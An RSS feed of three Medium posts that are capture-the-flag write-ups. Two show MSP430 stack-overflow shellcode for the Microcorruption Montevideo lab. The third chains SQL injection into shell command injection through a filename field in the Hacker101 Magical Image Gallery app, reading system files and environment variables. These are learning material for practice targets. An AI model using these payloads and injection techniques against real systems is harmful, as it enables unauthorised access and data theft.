<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ying Chen Chiou on Medium]]></title>
        <description><![CDATA[Stories by Ying Chen Chiou on Medium]]></description>
        <link>https://medium.com/@ychenchiou?source=rss-f20a06dafef1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*yvoimC0tNH5R613d.jpg</url>
            <title>Stories by Ying Chen Chiou on Medium</title>
            <link>https://medium.com/@ychenchiou?source=rss-f20a06dafef1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 03:23:35 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ychenchiou/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Take another look at Microcorruption-Montevideo]]></title>
            <link>https://medium.com/@ychenchiou/take-another-look-at-microcorruption-montevideo-76c5dc258668?source=rss-f20a06dafef1------2</link>
            <guid isPermaLink="false">https://medium.com/p/76c5dc258668</guid>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Ying Chen Chiou]]></dc:creator>
            <pubDate>Thu, 11 Jul 2019 08:02:11 GMT</pubDate>
            <atom:updated>2019-07-11T08:02:11.451Z</atom:updated>
            <content:encoded><![CDATA[<p>In the last article about Microcorruption-Montevideo, we make use of the limited input space and input our shellcodes in it. What if we don’t have enough spaces for our shellcodes? Well, that’s what I am going to talk about now.</p><p>Just to refresh the memory, we input “39408111398002110912b0124c454141ee43” to exploit the vulnerability. The first 16 bytes are for regular input which we input our shellcodes and the next two bytes are “ee43” which is the start in the memory of our input. I am going to exploit the vulnerability in another way.</p><p>The start is at 43ee.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*tLvRIu7OAr14vGQd6Oqwww.png" /></figure><p>To init stack, it moves 0x4400 to our stack pointer. the difference between 4400 and 43ee is 18 bytes. We can just input first 16 bytes as ‘A’s, next two bytes to make a jump to 4402 and two ‘\x90’s for padding. Here is what our new shellcodes look like “414141414141414141414141414141410244909039408111398002110912b0124c45”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*JBX5jtN_WYJb1Y0_yun4Mw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*7fsRW7NxFpzUp0CQONnFUw.png" /></figure><p>It works, too.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76c5dc258668" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF for exploitation: Microcorruption-Montevideo]]></title>
            <link>https://medium.com/@ychenchiou/ctf-microcorruption-montevideo-ada6108ac02e?source=rss-f20a06dafef1------2</link>
            <guid isPermaLink="false">https://medium.com/p/ada6108ac02e</guid>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[stackoverflow]]></category>
            <dc:creator><![CDATA[Ying Chen Chiou]]></dc:creator>
            <pubDate>Wed, 10 Jul 2019 07:09:08 GMT</pubDate>
            <atom:updated>2019-07-10T08:28:22.958Z</atom:updated>
            <content:encoded><![CDATA[<p>Microcorruption is a reverse engineering game on MSP430. The scenario is that there is a device called “Lockitall LockIT Pro” and you try to bypass the authentication. The challenge, Montevideo, is about stack overflow and writing shellcodes. It’s a good practice on exploits development.</p><p>Here is the link for Microcorruption: <a href="https://microcorruption.com/login">https://microcorruption.com/login</a></p><p>Let’s start.</p><p>The main function here is login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*2GDOvbQroaQA8wo8bpsEiw.png" /></figure><p>Many functions are used in login function. “conditional_unlock_door” must draw one’s attention and wants to crack it or reverse the algorithm to get the right password. Ask yourselves first, is it the only way to bypass the authentication? Of course not. We can try to bypass the authentication with the tainted input if we find a vulnerable one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*wqPJCXN6yLhcKyMwXLmRTg.png" /></figure><p>Since the input is limited between 8 and 16 characters, let’s just try to input 30 ‘A’s and see what’s gonna happened. Don’t forget to plant a breakpoint on the unconditional_unlock_door function first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xUKAPxppT6Achn9RgvcSGA.png" /></figure><p>We now have thirty ‘A’s on the stack.</p><pre>4532:  0f93           tst	r15</pre><pre>4534:  0324           jz	#0x453c &lt;login+0x48&gt;</pre><pre>4536:  3f40 c544      mov	#0x44c5 &quot;Access granted.&quot;, r15</pre><pre>453a:  023c           jmp	#0x4540 &lt;login+0x4c&gt;</pre><pre>453c:  3f40 d544      mov	#0x44d5 &quot;That password is not correct.&quot;, r15</pre><pre>4540:  b012 b045      call	#0x45b0 &lt;puts&gt;</pre><pre>4544:  3150 1000      add	#0x10, sp</pre><pre>4548:  3041           ret</pre><p>Do a little assembly code reading here.</p><p>After unconditional_unlock_door function, the program tests if r15 is zero or not. If it’s zero, it will output “That password is not correct” to the screen and balance the stack by “add #0x10, sp”. 0x10 must be the maximum length of our input which is 16. Then, it returns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qP3MQFE7iX1Uf0FghvejSw.png" /></figure><p>After “add #0x10, sp”, there are 14 ‘A’s left on the stack. It’s proved. What does ret do? Simply, it just takes four bytes from the top of stack as an address and jmp to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rXblgV9SVPDjJlYbA2mOjg.png" /></figure><p>We take one more step and check the pc which becomes 4141(hex of “AA”). We have the control on pc which gives us the privilege to execute whatever in the memory. That’s great. The next question is how do we inject our codes to the memory and execute them to bypass the authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*A4UUSmB274559eEr_-yljw.png" /></figure><p>Since our input always starts at 43ee, maybe we can inject our shellcodes to 43ee, make use of rtn to jump to 43ee and execute the shellcodes. That makes sense.</p><p>Take a look at the Manual provided by Microcorruption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*q9Pbo2MNdGcIpX_ffFNJXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*rblS67OgloksgaVZLumZyw.png" /></figure><p>If we want to trigger an unlock, all we need to do is just make a syscall which is at 454c.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*0b47c9GcrHbEAnjF0kj4SQ.png" /></figure><p>I just copy the code in the conditional_unlock_door. It makes a syscall with #0x7e. My first thought is just modify from #0x7e to #0x7f. Let’s input “30127f00b0124c454141414141414141ee43” and see what will happened.</p><p>A little explaination here:</p><p>30127f00b0124c45 is the machine code for</p><blockquote>push #0x7f</blockquote><blockquote>call #0x454c</blockquote><p>Eight ‘41’s are for padding, since we have to input more than 16 characters in order to trigger the stack overflow and rewrite pc with 43ee. We input ee43 instead of 43ee due to Little-Endian.</p><p>However, it doesn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kVOLBPQI-m8EDqVEmvjwbw.png" /></figure><p>We check the stack at the unconditional_unlock_door. Only first 3 bytes are written to the stack. Because the 4th byte of our shellcodes is ‘\x00’ and it’s a universal null-terminator string, the program doesn’t read all our input but everything before ‘\x00’. This problem is also called “Bad char”. When one is writing shellcodes, one must check what “Bad chars” are for the input or the input will be truncated.</p><p>The way to solve this problem is really easy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*otE0pGZLKjtKUJYocwaI7A.png" /></figure><p>We input a constant 0x1181 to r9 and substract r9 by 0x1102 which gives us exactly 7f. Then, we push it to the stack and make a syscall. Now we have a 14-length long machine codes “39408111398002110912b0124c45”. The same as before, we pad it with two ‘A’s and the place where our input starts.</p><p>We get “39408111398002110912b0124c454141ee43”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*IAAFMi9s_jlVuDgwlWBung.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*Ec8E4BuASIE59c4xwim60A.png" /></figure><p>It works.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ada6108ac02e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Magical Image Gallery — FLAG2]]></title>
            <link>https://medium.com/@ychenchiou/magical-image-gallery-flag2-70c48f1df2b?source=rss-f20a06dafef1------2</link>
            <guid isPermaLink="false">https://medium.com/p/70c48f1df2b</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Ying Chen Chiou]]></dc:creator>
            <pubDate>Sun, 16 Jun 2019 06:55:20 GMT</pubDate>
            <atom:updated>2019-06-16T06:57:21.374Z</atom:updated>
            <content:encoded><![CDATA[<h3>Magical Image Gallery — FLAG2</h3><p>Recently, I am a little bit attracted to CTF games. Bug bounty might be a terrific hobby during my leisure time. Thus, I registered a HackOne account and tried to recover my old interest.</p><p>Hacker101 CTF game, aiming for preparing a novice for bug bounty tasks, is a part of HackOne site . I was doing it yesterday for fun but no profit. (Old punch line from “Smashing the stack for fun and profit”). There was one game called Magical Image Gallery that many people were having toubles with it, especially for FLAG2. My primary purpose of writing this article is for improving my English writing and the secondary is sharing whatever I consider fun.</p><p>Let’s take a first look at this problem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rAuXlRzw8IS_-o_H2yaMeA.jpeg" /></figure><p>This is the first image you’ll see when you enter the game. Two cute kitties and one error image. The key always lies in the error. One must ask himself why when he encounters this kind of problem. Let us see the source.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2PGcETB1Ik9MClcje5aBBA.jpeg" /></figure><p>It seems like an invalid link problem. At this point, parameter “id” catches my interest. Maybe this is a SQLi vulnerability. Let’s check it.</p><p><a href="https://l.facebook.com/l.php?u=http%3A%2F%2F35.196.135.216%2Fdf51c0cf1c%2Ffetch%3Fid%3D1%26fbclid%3DIwAR0Et5DRIBD7jZZdNQixzsfyYu1GUKUhjmPFxm7f-BHQp9k10ypkk7fJmEA&amp;h=AT3Tzuz4dvwLzwiROnzFvtfyoGpwTjEXwLAuS7cQXDhkDoP0-BVui0QfQI5lCPPpBMiABBGgEsBh2e5qVNuxc1EOfu7OWxhxF5QtKelkgDNH2dLiK5aQSSyopYIr3I6Qw1SV">http://target/random_id/fetch?id=1</a></p><p><a href="http://35.196.135.216/df51c0cf1c/fetch?id=2-1&amp;fbclid=IwAR2tduJAUysQx-sJGeFgrhIV82vNG-iwT82XNDuZ255OjcvFcAtoC1QXdxI">http://target/random_id/fetch?id=2-1</a></p><p>Both contains the same content-type length that means both links return the same page. I can say it confidently that there exists a SQLi vulnerability. SQLi is a really old vulnerability and I am a little surprised that it still exists due to my long time obsence from info-sec field.</p><p>This article is about FLAG2, so I’ll jump over how to exploit SQLi flaws. Anyone who is interested in it can search “Magical Image Gallery Hacker101 CTF” in Google search.</p><p>After you find FLAG1, you’ll have this source.</p><blockquote>from flask import Flask, abort, redirect, request, Responseimport base64, json, MySQLdb, os, re, subprocess app = Flask(__name__) home = ‘’’&lt;!doctype html&gt;&lt;html&gt; &lt;head&gt; &lt;title&gt;Magical Image Gallery&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Magical Image Gallery&lt;/h1&gt;$ALBUMS$ &lt;/body&gt;&lt;/html&gt;’’’ viewAlbum = ‘’’&lt;!doctype html&gt;&lt;html&gt; &lt;head&gt; &lt;title&gt;$TITLE$ — Magical Image Gallery&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;$TITLE$&lt;/h1&gt;$GALLERY$ &lt;/body&gt;&lt;/html&gt;’’’ def getDb(): return MySQLdb.connect(host=”localhost”, user=”root”, password=””, db=”level5&quot;) def sanitize(data): return data.replace(‘&amp;’, ‘&amp;amp;’).replace(‘&lt;’, ‘&amp;lt;’).replace(‘&gt;’, ‘&amp;gt;’).replace(‘“‘, ‘&amp;quot;’) @app.route(‘/’)def index(): cur = getDb().cursor() cur.execute(‘SELECT id, title FROM albums’) albums = list(cur.fetchall()) rep = ‘’ for id, title in albums: rep += ‘&lt;h2&gt;%s&lt;/h2&gt;\n’ % sanitize(title) rep += ‘&lt;div&gt;’ cur.execute(‘SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3’, (id, )) fns = [] for pid, ptitle, pfn in cur.fetchall(): rep += ‘&lt;div&gt;&lt;img src=”fetch?id=%i” width=”266&quot; height=”150&quot;&gt;&lt;br&gt;%s&lt;/div&gt;’ % (pid, sanitize(ptitle)) fns.append(pfn) rep += ‘&lt;i&gt;Space used: ‘ + subprocess.check_output(‘du -ch %s || exit 0’ % ‘ ‘.join(‘files/’ + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit(‘\n’, 1)[-1] + ‘&lt;/i&gt;’ rep += ‘&lt;/div&gt;\n’ return home.replace(‘$ALBUMS$’, rep) @app.route(‘/fetch’)def fetch(): cur = getDb().cursor() if cur.execute(‘SELECT filename FROM photos WHERE id=%s’ % request.args[‘id’]) == 0: abort(404) # It’s dangerous to go alone, take this: # ^FLAG¹¹e5325be39a5608edc23a964ad2616400c851de2a74c82136606d3b7690e5a1$FLAG$ return file(‘./%s’ % cur.fetchone()[0].replace(‘..’, ‘’), ‘rb’).read() if __name__ == “__main__”: app.run(host=’0.0.0.0&#39;, port=80)</blockquote><p>Although the format is a little ruined after copy&amp;paste, we can still find out that there is something wrong with subprocess.check_output function.</p><blockquote>subprocess.check_output(‘du -ch %s || exit 0’ % ‘ ‘.join(‘files/’ + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit(‘\n’, 1)[-1]</blockquote><p>The %s is for join(‘files/’ + fn for fn in fns). If this function is exploitable, we can use it to execute any command we want. But it only returns the last element of subprocess.check_output. We have to write the result into another file and read with SQLi. The variable fns is a list who stores the filename, resulting from SELECT id, title, filename FROM photos WHERE parent=%s. Let’s make use of it.</p><p><a href="http://35.196.135.216/df51c0cf1c/fetch?id=1%3Bupdate%20photos%20set%20filename&amp;fbclid=IwAR1C_dgm5L5WmjVGJH51UlbOh4wH2qAp1Zi2Y5RcmAWSy4GruPS2bxQKTms">http://target/random_id/fetch?id=1;update%20photos%20set%20filename=%22*||%20ls%20-a%20%3E%20tmp.txt%22%20where%20id=3;commit;--</a></p><p>We use this query to update the filename whose id equals to 3 in table “photos”. That’s where the error image is. The field is updated but it’s not executed, so we have to get back to <a href="http://target/random_id">http://target/random_id</a> again to execute it. After execution, we can read it with the union select which is used it FLAG1.</p><blockquote>total 28-rw-r--r-- 1 root root 307 Dec 12 2018 Dockerfiledrwxr-xr-x 2 root root 4096 Dec 12 2018 files-rw-r--r-- 1 root root 1832 Jun 16 04:21 main.py-rw-r--r-- 1 root root 2865 Jun 16 04:21 main.pyc-rw-r--r-- 1 root root 70 Dec 12 2018 prestart.sh-rw-r--r-- 1 root root 27 Dec 12 2018 requirements.txt-rw-r--r-- 1 root root 0 Jun 16 05:39 tmp.txt-rw-r--r-- 1 root root 40 Oct 20 2018 uwsgi.ini</blockquote><p>Well, it’s successfully executed and we have the result now. But…, where is the FLAG? The FLAG is our purpose not the machine. “whoami” command tells me that I am root which means that I can execute everything I want.</p><p>Yesterday, I “cat” every file in this directory, /etc/shadow, /etc/passwd… but the FLAG wasn’t there. I tried to fgrep the whole root directory to get FLAG but time-out problem always got in my way. I started to look into /bin, /usr/bin to see maybe there might be a command to get the FLAG for me. “printenv” got my eyes.</p><blockquote>PYTHONIOENCODING=UTF-8UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiFLAGS=[&quot;^FLAG^11e5325be39a5608edc23a964ad2616400c851de2a74c82136606d3b7690e5a1$FLAG$&quot;, &quot;^FLAG^9d84c21b4acfbc874448e45d518af25e634fa3db08dd4a21aae8460647a0d58f$FLAG$&quot;, &quot;^FLAG^974c1212d069c6b749db6bd73b5eff5605c23bb96d2fe4730d6cbc654d10af0f$FLAG$&quot;]HOSTNAME=df51c0cf1c6cSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=C01E1CAD5EA2C4F0B8E3571504C367C218ADD4FFUWSGI_INI=/app/uwsgi.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=2.7.15NGINX_WORKER_PROCESSES=1SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/appSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0</blockquote><p>Haha, the FLAGs are all lying in the environment.</p><p>CTF game is charming. I’ll share more articles about A.I., info-security, exploit development and any related topics in the future.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70c48f1df2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>